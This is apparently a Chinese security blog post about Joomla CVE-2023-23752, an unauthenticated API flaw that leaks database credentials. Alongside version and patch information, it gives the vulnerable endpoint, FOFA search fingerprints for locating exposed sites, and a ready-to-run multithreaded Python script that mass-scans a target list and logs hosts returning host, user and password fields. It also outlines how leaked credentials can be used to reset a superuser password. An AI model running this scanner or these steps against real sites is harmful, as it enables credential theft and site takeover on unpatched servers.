点击上方蓝字关注我们
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
2月16日,Joomla官方发布安全公告,修复了Joomla! CMS中的一个未授权访问漏洞(CVE-2023-23752),目前该漏洞的细节及PoC/EXP已公开。
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
Joomla! CMS 版本4.0.0-4.2.7
中
由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码
等)。
受影响版本
4.0.0 <= Joomla <= 4.2.7
不受影响版本Joomla >= 4.2.8
Joomla 3及以下版本均不受该漏洞影响
在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
未授权路径在:
/api/index.php/v1/config/application?public=true
我们可以直接看到数据库的配置信息。
FOFA指纹
product="Joomla"
或者
body="Joomla! 4?"
这里话不多说,直接给上批量POC给大家玩。
from queue import Queue
from threading import Thread, Lockimport requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
BASE_URL = "/api/index.php/v1/config/application?public=true"
def write_Result(url):
with open("resuslt.txt", "a", encoding="utf-8") as f:
f.write(url + "\n")
def ReadFile(fQueue: Queue):
# self.file = 要读取的文本
# 当前测试为静态路径
with open(r"text.txt", 'r', encoding='utf-8') as file:
for file in file.readlines():
f = file.replace("\n", '') + BASE_URL
fQueue.put(f)
class A(Thread):
def __init__(self, a):
super(A, self).__init__()
self.queue = a
self.setDaemon(True)
def run(self) -> None:
try:
# print(url)
response = requests.get(self.queue, verify=False)
# print("URL:{} STATUS:{}".format(response.url, response.status_code))
if response.status_code == 200 and response.text.find("host") != -1 and response.text.find("user") != -1 and response.text.find("password") != -1:
write_Result(self.queue)
print("URL:{} STATUS:{}".format(response.url, response.status_code))
except Exception as e:
pass
q = Queue()
ReadFile(q)
while True:
url = q.get()
A(url).start()
if q.empty():
break
缺依赖的话自行导入即可使用,使用命令:
python poc.py # 同级目录下把源地址放到text.txt即可,自用写死了
结果会生成result.txt在目录下:
结果是写入的漏洞地址:
但这里推荐一款使用python
编写的验证工具,也可以批量验证该漏洞
工具下载地址,见文章底部
根据面向互联网的 Joomla! 版本,我们认为此漏洞虽然危险,但从来都不是一个大问题(至少没有接近Drupelgaddon )
要知道我们的测试 MySQL 服务器已绑定到127.0.0.1
,因此远程攻击者无法访问该服务器,从而使凭据几乎毫无用处。
将 MySQL 绑定到 localhost 应该是最常见的配置,它严格限制了这种凭证泄漏。
然而,似乎有大量面向互联网的 Joomla! 使用未_绑定_到127.0.0.1
. Censys 显示了数千个 Joomla! 服务器与暴露的 MySQL 服务器位于同一位置。
拥有 MySQL 服务器凭据的攻击者不会自动执行任意代码。操纵本地文件的旧 MySQL攻击技术在任何现代和/或配置合理的服务器上应该无法使用但对 MySQL 服务器的访问仍应提供代码执行的路径。
访问数据库允许攻击者更改 Joomla! 超级用户的密码。甚至记录了如何仅使用数据库访问来完成此操作
目前该漏洞已经修复,受影响用户可及时升级到Joomla! CMS 版本4.2.8。
关注公众号,回复如下消息获取
口令:CVE-2023-23752
如果想要系统学习网络安全技术
不妨加入知识星球课程《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球优惠券
跟着60天路线(点我查看)一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
点个在看你最好看